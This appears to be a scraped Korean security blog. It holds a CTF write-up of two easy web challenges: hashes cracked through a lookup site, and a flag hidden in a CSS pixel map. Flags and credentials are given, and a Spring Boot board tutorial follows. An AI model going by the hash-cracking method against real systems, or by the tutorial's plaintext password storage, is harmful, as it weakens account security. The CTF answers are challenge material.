script가 가득한 입력값에 악의적인 XSS 문구 등을 같이 넣는다면, CSP가 작동하지 않아 공격이 먹히게됩니다.

 

 

 

'보안 > 이론 정리' 카테고리의 다른 글

API - GraphQL  (0) 2026.03.05
웹 해킹 - SQLi UNION에 대하여  (0) 2026.02.11
웹 해킹 - XSS Filter Bypass  (0) 2025.10.15
스프링부트 - URL 매핑과 컨트롤러  (0) 2025.10.03
웹 해킹 - 직렬화와 역직렬화  (0) 2025.09.25

 

스터디그룹에 속한 후 처음이자, 오랜만에 경험하는 CTF였습니다.

문제들은 쉬운 편이었지만, 좀 불친절했다라고 생각이 듭니다.

웹 분야 문제들이 좀 적기도해서 재밌었지만 아쉬운 CTF 였네요.

해서 이번엔 제가 푼 총 2문제의 라이트업을 작성해 보았습니다.

 

Login Panel

첫 문제입니다.

로그인 페이지를 보여주는게 아닌 alert로 입력을 받더라고요.

 

위 문제 링크를 눌러 들어가면 사진 처럼 입력창이 나옵니다.

username과 password를 입력받고, 로그인 여부를 띄워줍니다.

세 팝업창이 끝나면 흰 화면이 남고 개발자 도구를 통해서 문제 코드를 확인 할 수 있었습니다.

<script>
    async function toHex(buffer) {
      const bytes = new Uint8Array(buffer);
      let hex = '';
      for (let i = 0; i < bytes.length; i++) {
        hex += bytes[i].toString(16).padStart(2, '0');
      }
      return hex;
    }

    async function sha256Hex(str) {
      const enc = new TextEncoder();
      const data = enc.encode(str);
      const digest = await crypto.subtle.digest('SHA-256', data);
      return toHex(digest);
    }

    function timingSafeEqualHex(a, b) {
      if (a.length !== b.length) return false;
      let diff = 0;
      for (let i = 0; i < a.length; i++) {
        diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
      }
      return diff === 0;
    }

    (async () => {
      const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace
      const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace

      const username = prompt('Enter username:');
      const password = prompt('Enter password:');

      if (username === null || password === null) {
        alert('Missing username or password');
        return;
      }

      const uHash = await sha256Hex(username);
      const pHash = await sha256Hex(password);

      if (timingSafeEqualHex(uHash, ajnsdjkamsf) && timingSafeEqualHex(pHash, lanfffiewnu)) {
        alert(username+ '{'+password+'}');
      } else {
        alert('Invalid credentials');
      }
    })();
  <script>

 

HTML 코드를 빼고 스크립트 코드만 가져왔습니다.

username과 password가 하드코딩 되어있고 입력값을 sha256Hex()함수에 넣어 코드의 해쉬값과 비교하여 맞으면 통과되는 문제였습니다.

sha256Hex()함수의 경우 문자열을 UTF-8로 인코딩 후 sha-256 해쉬를 계산합니다. 마무리로 16진수로 변환 후 반환해주는 함수입니다.

 

일단 해쉬를 하는 과정을 보면 솔트값을 들어가지 않았습니다.

때문에 레인보우 테이블로 찾을 수 있지 않을까 해서 해쉬 크래킹을 해주는 웹 사이트를 통해 값을 구해보기로 했습니다.

 

사이트는 "https://crackstation.net/"를 이용했습니다.

첫 문제라 그런가 다행히 바로 성공했습니다.

username은 v1t라는 것을 구했네요.

password 역시 바로 구하는데 성공했습니다.

해서 이제 문제로 돌아가서 username에 v1t, password에 p4ssw0rd를 입력하면

이렇게 플래그를 획득 할 수 있습니다.

FLAG = v1t{p4ssw0rd}

 

Stylish Flag

두 번째 문제입니다.

싫어요가 좀 많은 문제더라고요.

 

문제 링크를 누르면 바로 이런 화면으로 넘어갑니다.

개발자 도구부터 봐줬습니다. 그런데..

    body {
        background: #111;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
    }

    h1 {
        font-size: 100px;
        color: #0f0;
    }

    .flag {
        width: 8px;
        height: 8px;
        background: #0f0;
        transform: rotate(180deg);
        opacity: 0.05;
        box-shadow:
            264px 0px #0f0,
            1200px 0px #0f0,
            0px 8px #0f0,
            32px 8px #0f0,
            88px 8px #0f0,
            96px 8px #0f0,
            160px 8px #0f0,
            168px 8px #0f0,
            176px 8px #0f0,
            184px 8px #0f0,
            192px 8px #0f0,
            256px 8px #0f0,
            320px 8px #0f0,
            344px 8px #0f0,
            408px 8px #0f0,
            416px 8px #0f0,
            480px 8px #0f0,
            488px 8px #0f0,
            496px 8px #0f0,
            560px 8px #0f0,
            568px 8px #0f0,
            576px 8px #0f0,
            640px 8px #0f0,
            648px 8px #0f0,
            656px 8px #0f0,
            712px 8px #0f0,
            720px 8px #0f0,
            736px 8px #0f0,
            744px 8px #0f0,
            792px 8px #0f0,
            800px 8px #0f0,
            808px 8px #0f0,
            816px 8px #0f0,
            824px 8px #0f0,
            960px 8px #0f0,
            968px 8px #0f0,
            976px 8px #0f0,
            1040px 8px #0f0,
            1048px 8px #0f0,
            1056px 8px #0f0,
            1112px 8px #0f0,
            1120px 8px #0f0,
            1128px 8px #0f0,
            1136px 8px #0f0,
            1200px 8px #0f0,
            1208px 8px #0f0,
            0px 16px #0f0,
            8px 16px #0f0,
            24px 16px #0f0,
            32px 16px #0f0,
            80px 16px #0f0,
            88px 16px #0f0,
            96px 16px #0f0,
            104px 16px #0f0,
            168px 16px #0f0,
            176px 16px #0f0,
            248px 16px #0f0,
            256px 16px #0f0,
            320px 16px #0f0,
            344px 16px #0f0,
            400px 16px #0f0,
            408px 16px #0f0,
            416px 16px #0f0,
            480px 16px #0f0,
            504px 16px #0f0,
            576px 16px #0f0,
            584px 16px #0f0,
            640px 16px #0f0,
            656px 16px #0f0,
            664px 16px #0f0,
            712px 16px #0f0,
            720px 16px #0f0,
            736px 16px #0f0,
            744px 16px #0f0,
            808px 16px #0f0,
            952px 16px #0f0,
            960px 16px #0f0,
            1032px 16px #0f0,
            1040px 16px #0f0,
            1112px 16px #0f0,
            1200px 16px #0f0,
            1208px 16px #0f0,
            0px 24px #0f0,
            8px 24px #0f0,
            24px 24px #0f0,
            32px 24px #0f0,
            96px 24px #0f0,
            104px 24px #0f0,
            168px 24px #0f0,
            176px 24px #0f0,
            248px 24px #0f0,
            256px 24px #0f0,
            320px 24px #0f0,
            328px 24px #0f0,
            336px 24px #0f0,
            344px 24px #0f0,
            408px 24px #0f0,
            416px 24px #0f0,
            480px 24px #0f0,
            504px 24px #0f0,
            576px 24px #0f0,
            632px 24px #0f0,
            640px 24px #0f0,
            656px 24px #0f0,
            664px 24px #0f0,
            712px 24px #0f0,
            720px 24px #0f0,
            736px 24px #0f0,
            744px 24px #0f0,
            808px 24px #0f0,
            952px 24px #0f0,
            1032px 24px #0f0,
            1040px 24px #0f0,
            1112px 24px #0f0,
            1120px 24px #0f0,
            1200px 24px #0f0,
            1208px 24px #0f0,
            8px 32px #0f0,
            24px 32px #0f0,
            96px 32px #0f0,
            104px 32px #0f0,
            168px 32px #0f0,
            176px 32px #0f0,
            240px 32px #0f0,
            248px 32px #0f0,
            320px 32px #0f0,
            328px 32px #0f0,
            336px 32px #0f0,
            344px 32px #0f0,
            408px 32px #0f0,
            416px 32px #0f0,
            480px 32px #0f0,
            504px 32px #0f0,
            568px 32px #0f0,
            576px 32px #0f0,
            584px 32px #0f0,
            632px 32px #0f0,
            640px 32px #0f0,
            648px 32px #0f0,
            664px 32px #0f0,
            712px 32px #0f0,
            720px 32px #0f0,
            736px 32px #0f0,
            744px 32px #0f0,
            808px 32px #0f0,
            952px 32px #0f0,
            1048px 32px #0f0,
            1056px 32px #0f0,
            1120px 32px #0f0,
            1128px 32px #0f0,
            1136px 32px #0f0,
            1208px 32px #0f0,
            1216px 32px #0f0,
            8px 40px #0f0,
            16px 40px #0f0,
            24px 40px #0f0,
            96px 40px #0f0,
            104px 40px #0f0,
            168px 40px #0f0,
            176px 40px #0f0,
            248px 40px #0f0,
            256px 40px #0f0,
            320px 40px #0f0,
            344px 40px #0f0,
            408px 40px #0f0,
            416px 40px #0f0,
            480px 40px #0f0,
            504px 40px #0f0,
            576px 40px #0f0,
            584px 40px #0f0,
            640px 40px #0f0,
            664px 40px #0f0,
            712px 40px #0f0,
            720px 40px #0f0,
            736px 40px #0f0,
            744px 40px #0f0,
            808px 40px #0f0,
            952px 40px #0f0,
            960px 40px #0f0,
            1056px 40px #0f0,
            1064px 40px #0f0,
            1136px 40px #0f0,
            1200px 40px #0f0,
            1208px 40px #0f0,
            8px 48px #0f0,
            16px 48px #0f0,
            24px 48px #0f0,
            88px 48px #0f0,
            96px 48px #0f0,
            104px 48px #0f0,
            112px 48px #0f0,
            168px 48px #0f0,
            176px 48px #0f0,
            248px 48px #0f0,
            256px 48px #0f0,
            320px 48px #0f0,
            344px 48px #0f0,
            400px 48px #0f0,
            408px 48px #0f0,
            416px 48px #0f0,
            424px 48px #0f0,
            480px 48px #0f0,
            488px 48px #0f0,
            496px 48px #0f0,
            560px 48px #0f0,
            568px 48px #0f0,
            576px 48px #0f0,
            640px 48px #0f0,
            648px 48px #0f0,
            656px 48px #0f0,
            664px 48px #0f0,
            720px 48px #0f0,
            728px 48px #0f0,
            736px 48px #0f0,
            808px 48px #0f0,
            960px 48px #0f0,
            968px 48px #0f0,
            976px 48px #0f0,
            1032px 48px #0f0,
            1040px 48px #0f0,
            1048px 48px #0f0,
            1056px 48px #0f0,
            1112px 48px #0f0,
            1120px 48px #0f0,
            1128px 48px #0f0,
            1136px 48px #0f0,
            1200px 48px #0f0,
            1208px 48px #0f0,
            248px 56px #0f0,
            256px 56px #0f0,
            1200px 56px #0f0,
            1208px 56px #0f0,
            256px 64px #0f0,
            264px 64px #0f0,
            872px 64px #0f0,
            880px 64px #0f0,
            888px 64px #0f0,
            896px 64px #0f0,
            904px 64px #0f0,
            1192px 64px #0f0,
            1200px 64px #0f0;
    }

 

이런 엄청 수상한 CSS 파일이 있었습니다.

각 px들이 좌표를 나타내는구나 라고 예상해서 클로드 한테 각 좌표에 맞게 도트를찍어 달라했습니다.

 

좌표에 맞게 도트를 찍으니 이런 플래그가 나오더군요.

처음엔 저 동그란 글자가 0인지 O인지 헷갈렸는데, 중간에 줄 처럼 그어진게 숫자를 나타내는거 같아서 0으로 적어냈더니 통과가 되었습니다.

뭔가 슴슴한 문제였네요.

 

FLAG = v1t{H1D30UT_CSS}

 

 

'보안 > CTF' 카테고리의 다른 글

[0xFUN CTF 2026] Web write-up  (0) 2026.02.15
[CubeCTF] Web - Legal Snacks write-up  (0) 2025.07.07

스프링부트로 웹 페이지 만들어보기

이번엔 글 작성 기능에 대한 백엔드 코드에 대해서 기록해 볼 것입니다.

전에 작성한 글을 통해 이해한 스프링부트 구조에 맞게, 기능을 담당하는 서비스와 DB 연결의 중심이 되는 레파지토리, DB 테이블을 뜻하는 엔티티까지 작성하고 컨트롤러로 연결하여 마무리 해보겠습니다.

 

1. 엔티티 작성

//BoardEntity.java
package com.example.demo.entity;

import com.example.demo.dto.BoardDTO;
import jakarta.persistence.*;
import lombok.AccessLevel;
import lombok.Getter;
import lombok.NoArgsConstructor;

@Entity
@Getter
@NoArgsConstructor(access = AccessLevel.PROTECTED)
@Table(name = "board_table_2025")
public class BoardEntity{
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;

    @Column
    private String boardWriter;

    @Column
    private String boardPass;

    @Column
    private String boardTitle;

    @Column
    private String boardContents;

    @Column
    private int boardHits;

    public static BoardEntity toSaveEntity(BoardDTO boardDTO) {
        BoardEntity boardEntity = new BoardEntity();
        boardEntity.boardWriter = boardDTO.getBoardWriter();
        boardEntity.boardPass = boardDTO.getBoardPass();
        boardEntity.boardTitle = boardDTO.getBoardTitle();
        boardEntity.boardContents = boardDTO.getBoardContents();
        boardEntity.boardHits = 0;
        return boardEntity;
    }
}

 

데이터베이스의 테이블을 정의해주는 파일입니다.

@Entity 어노테이션으로 이 자바 파일이 엔티티 파일이라는 것을 스프링부트에 알려줍니다.

엔티티 파일은 테이블의 역할을 하는 파일이기에, 외부에서 이 파일에 접근하여 엔티티의 값을 변경하지 말라고 권고한다합니다.

때문에 Getter는 만들어두지만, Setter를 만들어두지 않음으로써 이 엔티티에 접근하는 것을 미리 방지하겠습니다.

 

@NoArgsConstructor 어노테이션을 통하여 생성자 역시 아무 클래스에서 객체로 만들어 쓰지 못 하도록 기본 생성자를 두되 접근제어를 추가하여 엔티티를 보호하였습니다.

이거저거 찾아보니 권고사항이다 라고 해서 위와 같이 만들어보았는데, 자세한 사항까지는 아직 공부하지 못 했습니다.

차차 더 만들어가면서 공부해보아야겠네요.

 

이후 @Table 어노테이션으로 테이블 이름을 선언해주고, @Id를 통해 PK를 정의해주었습니다.

@Column 어노테이션으로 테이블의 컬럼들을 차례차례 만들어주었습니다.

 

static으로 선언한 toSaveEntity 메서드는 DTO에 담겨있는 값을 Entity에 옮겨주는 역할을 합니다.

또한 위에서 설명한것 처럼 다른 클래스에서 Entity에 대해 객체를 만들어서 쓰지 못하게 하였기에, 클래스의 메서드를 통하여 접근하도록 만들어 보았습니다.

 

2. 서비스 작성

//BoardService.java
package com.example.demo.service;

import com.example.demo.dto.BoardDTO;
import com.example.demo.entity.BoardEntity;
import com.example.demo.repository.BoardRepository;
import lombok.RequiredArgsConstructor;
import org.springframework.stereotype.Service;

@Service
@RequiredArgsConstructor
public class BoardService {
    private final BoardRepository boardRepository;

    public void save(BoardDTO boardDTO) {
        BoardEntity boardEntity = BoardEntity.toSaveEntity(boardDTO);
        boardRepository.save(boardEntity);
    }
}

 

@Service 어노테이션을 통하여 이 파일이 서비스의 역할을 한다고 스프링부트에 알려주었습니다.

글 저장에 대한 기능을 만들어주었습니다.

BoardEntity 클래스의 toSaveEntity 메서드에 접근하여 사용하였습니다.

boardRepository.save(boardEntity); 라고 작성된 코드가 레파지토리를 사용한다는 코드입니다.

아직은 기능이 저장 밖에 없기에 짧게 작성되었네요.

 

3. 레파지토리 작성

//BoardRepository.java
package com.example.demo.repository;

import com.example.demo.entity.BoardEntity;
import org.springframework.data.jpa.repository.JpaRepository;

public interface BoardRepository extends JpaRepository<BoardEntity, Long> {
}

 

서비스가 레파지토리를 사용하여 DB에 데이터 저장을 요청하도록 작성하였으니, 그 중간을 담당하는 레파지토리를 작성해줘야겠네요.

굉장히 짧아보여서 처음엔 의아했지만, 찾아보니 많은 기능이 함축된 코드였습니다.

interface로 선언됨에 따라 직접 구현하는게 아닌 JPA가 자동으로 구현체를 만들어줍니다.

특별히 쿼리를 작성할 것 없이 스프링이 내부적으로 처리해준다네요.

extends 를 통해 JpaRepository를 상속하고 있습니다.

 

JpaRepositorysms 스프링에서 제공하는 인터페이스로, DB에 필요한 기본 메서드들을 다 만들어 둔 모음집 같은겁니다.

때문에 특별히 작성할 것 없이 다양한 메서드들을 자동으로 제공해준다네요.

뒤에 적인 <BoardEntity, Long>은 각각 어떤 엔티티와 연결된 건지, 뒤는 엔티티의 PK(기본키)의 자료형을 뜻합니다.

위에서 엔티티에서 id를 만들때 Long 자료형으로 선언해줬죠, 그에 맞게 작성해주었습니다.

 

거의 대부분의 기능을 직접 작성 할 것 없이 스프링이 해줘서, 코드가 매우 간결해졌습니다.

이 상태에서 컨트롤러가 요청을 받아 서비스가 이를 실행해주고 레파지토리가 쿼리를 자동 생성하여 저장하는 쿼리를 DB에 전달합니다. 정확힌 JPA가 내부에서 쿼리를 만들어준다고하네요.

그 다음 연결된 DB에 쿼리가 실행되어, 결과적으로 요청받은 값들이 DB에 저장됩니다.

 

이번엔 엔티티와 서비스, 레파지토리까지 작성해보았습니다.

레파지토리를 작성할 때 뭔가 허전한 느낌을 많이 받았는데, 찾아보니 사실 내부에서 다 해주는 거였더라고요.

저 한줄로 많은 기능이 뒤에서 동작해준다니 신기한 기분이었습니다.

 

다음에는 글 목록 기능을 추가해보고 정리해보겠습니다.

 

+ Recent posts